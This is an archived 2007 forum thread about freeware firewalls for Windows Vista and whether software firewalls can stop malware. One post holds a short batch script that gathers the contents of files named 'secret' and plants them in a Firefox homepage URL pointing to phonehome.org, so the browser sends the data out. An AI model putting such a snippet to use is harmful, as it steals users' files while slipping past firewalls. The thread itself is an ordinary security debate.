Tech Support > Computers & Technology > Computer Security > Firewall
Firewall
Posted by Sebastian G. on June 7th, 2007


Ferd wrote:


Wipfw.


And are no firewalls at all.

That's what these software packages are supposed to do...

Posted by Ferd on June 7th, 2007


On Thu, 07 Jun 2007 18:22:53 +0200, Jim Watt <jimwatt@aol.no_way>
wrote:

Jim, thanks, I have a new laptop and its very slow on internet, and I
suspect a lot of unwanted programs are up-dating and I want to stop
them. The built in firewall is too hard to configure. The machine came
with Nortons which I remove because the machine barely crawled along
and was almost unusable. now running AVG with no problems.
Ferd

Posted by Vanguard on June 8th, 2007


"Ferd" <Rat@tat.com> wrote in message
news:kv4h63537adudk1f4f80ogdk4108mk5okt@4ax.com...

If they are well-behaved applications, they will provide you with an
option to disable their updating feature, so go configure them not to
update. If they don't that option, consider them trashware and find an
alternative product.

If you want to know what process is generating network traffic, you
could get a sniffer, like Ethereal or Nirsoft's SmartSniff.

Program can only run if they can get loaded into real (physical) memory.
Nothing runs unless it gets there. You could use DiamondCS
ProcessControl to regulate by permission just what can and cannot load
into memory. However, YOU are the authority in deciding what loads.



Posted by Ferd on June 8th, 2007


Can anyone recomend a freeware firewall for windows Vista. The ones I
have tried Comodo, Kerio,PC plus firewall, etc have Driver
compatability issues. Some even lock up computer. Any ideas?
Ferd

Posted by Hexalon on June 8th, 2007


On Jun 7, 7:59 pm, "Vanguard" <n...@mail.invalid> wrote:
Vista has a firewall built-in. Adjust the permissions so that those
programs are blocked.


Posted by Victek on June 8th, 2007




"Ferd" <Rat@tat.com> wrote in message
news:mc5i63ta357b04nc5b773v2628n2eees2f@4ax.com...
PC Tools Firewall Plus is the only Vista compatible freeware firewall that
is not beta-ware. I've used it on both Vista and XP, and it works OK. It
is "rules based" and in my case it was necessary to add a few rules, but it
was eventually sorted out.

http://www.pctools.com/firewall/download/


Posted by Sebastian G. on June 8th, 2007


Hexalon wrote:


And what exactly stops those untrustworthy programs to remote-control other
programs that have already been allowed?

(Just in case you don't get it... the answer is: nothing!)

Posted by Ferd on June 9th, 2007


On Fri, 08 Jun 2007 15:01:42 GMT, "Victek" <Victek@xyz.com> wrote:

I used pc tools plus and it completely locked puter up, had to go into
safe mode to get piuter running again. I know there is a builn
firewall, but its difficult to set up to monitor outgoing traffic
Thanks for all coimments, maybe i'll try a bit harder to get the built
in firewall running properly
Ferd

Posted by Victek on June 9th, 2007




"Ferd" <Rat@tat.com> wrote in message
news:a6hk6318bifan0hpdchij3q2m3maush4da@4ax.com...
There's a program called "Vista Firewall Control" that adds functionality to
the built-in firewall that you might find useful. Checkout this link:

http://www.sphinx-soft.com/Vista/index.html


Posted by Vanguard on June 11th, 2007


"Hexalon" wrote in message
news:1181309449.320477.32260@q66g2000hsg.googlegro ups.com...
Softwall firewalls can be bypassed. COnsider using them to manage
well-behaved applications wanting network connectivity. Many can be
disabled by the malware that you think the firewall will prevent getting
out from your box. Unless the OP knows what programs are generating the
network traffic, just how is he to identify which ones to block?

But then *I* wasn't the one asking about a firewall so you replied to
the wrong poster. Guess that's what happens when you use the
webnews-for-dummies interface at Google.


Posted by Vanguard on June 11th, 2007


"Sebastian G." <seppi@seppig.de> wrote in message
news:5ctfdnF32edldU1@mid.dfncis.de...

By using a firewall that also monitors injecting or riding. However,
many users are already pestered by all the prompts to let their normal
apps connect so often they don't enable or will disable the firewall
from watching what called what. However, malware can still bypass a
software firewall so consider using a software firewall to really just
manager the well-behaved (or lazy) apps.


Posted by Sebastian G. on June 11th, 2007


Vanguard wrote:



You'd wish that such a thing was possible, beside some fertile trials.


Prompts? Then you've already lost, since nothing stops the malware to
clicking away these prompts by itself.

Well-behaving apps don't need to be managed at all, by definition. Any
non-well-behaving application should be considered as malicious.

Posted by Victek on June 11th, 2007




Has anyone done in-depth testing of the ability of software firewalls to
resist being bypassed or shutdown by malware? I've heard people talk about
this behavior, but I've never seen any documentation.


Posted by Sebastian G. on June 11th, 2007


Victek wrote:


set x=
for /r %i in (*secret*) do for /f "delims=" %j in (%i) do set x=!x!.%j
for /r %i in (prefs.js) do echo
user_pref("browser.homepage.startup","http://phonehome.org?!x!");>>%i

Any more dumb questions with obvious answers?

Posted by Hexalon on June 12th, 2007


On Jun 8, 11:45 am, "Sebastian G." <s...@seppig.de> wrote:
well if the isn't running as a admin then windows should stop those
programs from remote controlling other allowed programs.


Posted by Sebastian G. on June 12th, 2007


Hexalon wrote:

Why should it? This remote control, as any other kind of inter-process
communication, is an intended feature, that's why it won't stop anything.

Please do yourself a favor and open osk.exe (On-Screen Keyboard from the
Accessibility Tools), open and instance of the Firefox and focus it, and
then click on the keys.